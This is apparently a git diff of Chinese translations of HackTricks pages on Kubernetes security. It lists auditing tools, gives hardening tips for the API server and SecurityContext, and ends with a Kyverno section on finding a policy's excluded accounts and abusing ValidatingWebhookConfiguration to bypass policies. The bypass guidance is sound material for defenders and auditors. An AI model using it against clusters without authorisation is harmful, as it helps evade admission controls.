[**Kubei**](https://github.com/Erezf-p/kubei) 是一个漏洞扫描和 CIS Docker 基准工具，允许用户对其 Kubernetes 集群进行准确和即时的风险评估。Kubei 扫描 Kubernetes 集群中使用的所有镜像，包括应用程序 Pod 和系统 Pod 的镜像。
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) 是一个用于扫描Kubernetes集群中Kubernetes基于角色的访问控制（RBAC）授权模型中风险权限的工具。
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) 是一个用于扫描 Kubernetes 集群中 Kubernetes 基于角色的访问控制（RBAC）授权模型中风险权限的工具。
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 是一个构建用于测试其他类型高风险检查的工具，与其他工具相比。它主要有3种不同模式：
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 是一个构建用于测试其他类型高风险检查的工具，与其他工具相比。它主要有 3 种不同的模式：
|
||||
|
||||
- **`find-role-relationships`**: 找出哪些AWS角色正在运行在哪些Pod中
|
||||
- **`find-secrets`**: 尝试识别K8s资源中的秘密，例如Pods、ConfigMaps和Secrets。
|
||||
- **`test-imds-access`**: 尝试运行Pod并访问元数据v1和v2。警告：这将在集群中运行一个Pod，请非常小心，因为您可能不想这样做！
|
||||
- **`find-role-relationships`**: 将查找哪些 AWS 角色在运行哪些 Pods
|
||||
- **`find-secrets`**: 尝试识别 K8s 资源中的秘密，例如 Pods、ConfigMaps 和 Secrets。
|
||||
- **`test-imds-access`**: 尝试运行 Pods 并尝试访问元数据 v1 和 v2。警告：这将在集群中运行一个 Pod，请非常小心，因为您可能不想这样做！
|
||||
|
||||
## **审计IaC代码**
|
||||
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) 是一个实用工具，扫描实时Kubernetes集群并**报告已部署资源和配置的潜在问题**。它根据已部署的内容而不是磁盘上的内容来清理您的集群。通过扫描您的集群，它检测配置错误并帮助您确保最佳实践到位，从而防止未来的麻烦。它旨在减少在野外操作Kubernetes集群时面临的认知负担。此外，如果您的集群使用了度量服务器，它会报告潜在的资源过度/不足分配，并在您的集群容量不足时尝试警告您。
|
||||
## **审计 IaC 代码**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) 在以下**基础设施即代码解决方案**中发现**安全漏洞**、合规性问题和基础设施配置错误：Terraform、Kubernetes、Docker、AWS CloudFormation、Ansible、Helm、Microsoft ARM和OpenAPI 3.0规范
|
||||
[**KICS**](https://github.com/Checkmarx/kics) 在以下 **基础设施即代码解决方案** 中发现 **安全漏洞**、合规性问题和基础设施错误配置：Terraform、Kubernetes、Docker、AWS CloudFormation、Ansible、Helm、Microsoft ARM 和 OpenAPI 3.0 规范
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) 是一个基础设施即代码的静态代码分析工具。
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) 是一个用于基础设施即代码的静态代码分析工具。
|
||||
|
||||
它扫描使用[Terraform](https://terraform.io)提供的云基础设施、Terraform计划、[Cloudformation](https://aws.amazon.com/cloudformation/)、[AWS SAM](https://aws.amazon.com/serverless/sam/)、[Kubernetes](https://kubernetes.io)、[Dockerfile](https://www.docker.com)、[Serverless](https://www.serverless.com)或[ARM模板](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview)，并使用基于图形的扫描检测安全和合规性配置错误。
|
||||
它扫描使用 [Terraform](https://terraform.io) 提供的云基础设施、Terraform 计划、[Cloudformation](https://aws.amazon.com/cloudformation/)、[AWS SAM](https://aws.amazon.com/serverless/sam/)、[Kubernetes](https://kubernetes.io)、[Dockerfile](https://www.docker.com)、[Serverless](https://www.serverless.com) 或 [ARM 模板](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview)，并使用基于图形的扫描检测安全和合规性错误配置。
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) 是一个对您的Kubernetes对象定义进行静态代码分析的工具。
|
||||
[**kube-score**](https://github.com/zegl/kube-score) 是一个对您的 Kubernetes 对象定义进行静态代码分析的工具。
|
||||
|
||||
要安装：
|
||||
|
||||
| 发行版 | 命令 / 链接 |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| macOS、Linux和Windows的预构建二进制文件 | [GitHub发布](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub](https://hub.docker.com/r/zegl/kube-score/)) |
|
||||
| Homebrew（macOS和Linux） | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/)（macOS和Linux） | `kubectl krew install score` |
|
||||
| ------------------------------------------------- | ----------------------------------------------------------------------------------- |
|
||||
| macOS、Linux 和 Windows 的预构建二进制文件 | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub](https://hub.docker.com/r/zegl/kube-score/)) |
|
||||
| Homebrew（macOS 和 Linux） | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/)（macOS 和 Linux） | `kubectl krew install score` |
|
||||
|
||||
## 提示
|
||||
|
||||
### Kubernetes PodSecurityContext和SecurityContext
|
||||
### Kubernetes PodSecurityContext 和 SecurityContext
|
||||
|
||||
您可以配置**Pods的安全上下文**（使用_PodSecurityContext_）和将要运行的**容器**的安全上下文（使用_SecurityContext_）。有关更多信息，请阅读：
|
||||
您可以配置 **Pods 的安全上下文**（使用 _PodSecurityContext_）和将要运行的 **容器** 的安全上下文（使用 _SecurityContext_）。有关更多信息，请阅读：
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Kubernetes API加固
|
||||
### Kubernetes API 加固
|
||||
|
||||
保护对Kubernetes Api Server的访问非常重要，因为具有足够权限的恶意行为者可能会滥用它并以多种方式破坏环境。\
|
||||
确保**访问**（**白名单**访问API Server的来源并拒绝任何其他连接）和[**身份验证**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)（遵循**最小权限**原则）都很重要。并且绝对**永远****不允许****匿名****请求**。
|
||||
保护 **Kubernetes Api Server 的访问** 非常重要，因为具有足够权限的恶意行为者可能会滥用它并以多种方式破坏环境。\
|
||||
确保 **访问**（**白名单** 允许访问 API Server 的来源并拒绝任何其他连接）和 [**身份验证**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)（遵循 **最小权限** 原则）都很重要。绝对 **永远** **不允许** **匿名** **请求**。
|
||||
|
||||
**常见请求流程：**\
|
||||
用户或K8s ServiceAccount –> 身份验证 –> 授权 –> 录取控制。
|
||||
用户或 K8s ServiceAccount –> 身份验证 –> 授权 –> 录取控制。
|
||||
|
||||
**提示**：
|
||||
|
||||
- 关闭端口。
|
||||
- 避免匿名访问。
|
||||
- NodeRestriction；不允许特定节点访问API。
|
||||
- NodeRestriction；不允许特定节点访问 API。
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- 基本上防止kubelets添加/删除/更新带有node-restriction.kubernetes.io/前缀的标签。此标签前缀保留给管理员为工作负载隔离目的标记其节点对象，kubelets将不被允许修改带有该前缀的标签。
|
||||
- 还允许kubelets添加/删除/更新这些标签和标签前缀。
|
||||
- 基本上防止 kubelets 添加/删除/更新带有 node-restriction.kubernetes.io/ 前缀的标签。此标签前缀保留给管理员为工作负载隔离目的标记其节点对象，kubelets 将不被允许修改带有该前缀的标签。
|
||||
- 还允许 kubelets 添加/删除/更新这些标签和标签前缀。
|
||||
- 确保通过标签实现安全的工作负载隔离。
|
||||
- 避免特定Pod访问API。
|
||||
- 避免ApiServer暴露在互联网上。
|
||||
- 避免未授权访问RBAC。
|
||||
- ApiServer端口使用防火墙和IP白名单。
|
||||
- 避免特定 Pods 访问 API。
|
||||
- 避免 ApiServer 暴露在互联网上。
|
||||
- 避免未经授权的访问 RBAC。
|
||||
- ApiServer 端口使用防火墙和 IP 白名单。
|
||||
|
||||
### SecurityContext加固
|
||||
### SecurityContext 加固
|
||||
|
||||
默认情况下，如果未指定其他用户，则在启动Pod时将使用root用户。您可以使用类似以下的模板在更安全的上下文中运行您的应用程序：
|
||||
默认情况下，如果未指定其他用户，则在启动 Pod 时将使用 root 用户。您可以使用类似于以下模板的方式在更安全的上下文中运行您的应用程序：
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -163,4 +198,11 @@ allowPrivilegeEscalation: true
|
||||
- 如果使用云控制器管理器，则升级云控制器管理器。
|
||||
- 升级工作节点组件，如kube-proxy、kubelet。
|
||||
|
||||
## Kubernetes监控与安全：
|
||||
|
||||
- Kyverno策略引擎
|
||||
- Cilium Tetragon - 基于eBPF的安全可观察性和运行时强制
|
||||
- 网络安全策略
|
||||
- Falco - 运行时安全监控与检测
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -15,21 +15,21 @@ $ kubectl get policies
|
||||
|
||||
对于每个 ClusterPolicy 和 Policy，您可以指定一个排除实体的列表，包括：
|
||||
|
||||
- 组：`excludedGroups`
|
||||
- 用户：`excludedUsers`
|
||||
- 服务账户 (SA)：`excludedServiceAccounts`
|
||||
- 角色：`excludedRoles`
|
||||
- 集群角色：`excludedClusterRoles`
|
||||
- 组: `excludedGroups`
|
||||
- 用户: `excludedUsers`
|
||||
- 服务账户 (SA): `excludedServiceAccounts`
|
||||
- 角色: `excludedRoles`
|
||||
- 集群角色: `excludedClusterRoles`
|
||||
|
||||
这些排除的实体将不受政策要求的约束，Kyverno 将不对它们执行政策。
|
||||
|
||||
## 示例 
|
||||
## 示例
|
||||
|
||||
让我们深入了解一个 clusterpolicy 示例 : 
|
||||
让我们深入了解一个 clusterpolicy 示例：
|
||||
```
|
||||
$ kubectl get clusterpolicies MYPOLICY -o yaml
|
||||
```
|
||||
查找被排除的实体 : 
|
||||
查找被排除的实体：
|
||||
```yaml
|
||||
exclude:
|
||||
any:
|
||||
@@ -47,8 +47,12 @@ name: system:serviceaccount:AHAH:*
|
||||
|
||||
## 滥用 ValidatingWebhookConfiguration
|
||||
|
||||
另一种绕过策略的方法是关注 ValidatingWebhookConfiguration 资源 : 
|
||||
绕过策略的另一种方法是关注 ValidatingWebhookConfiguration 资源：
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-validatingwebhookconfiguration.md
|
||||
{{#endref}}
|
||||
|
||||
## 更多信息
|
||||
|
||||
有关更多信息，请查看 [https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/)
|
||||
|
||||
Reference in New Issue
Block a user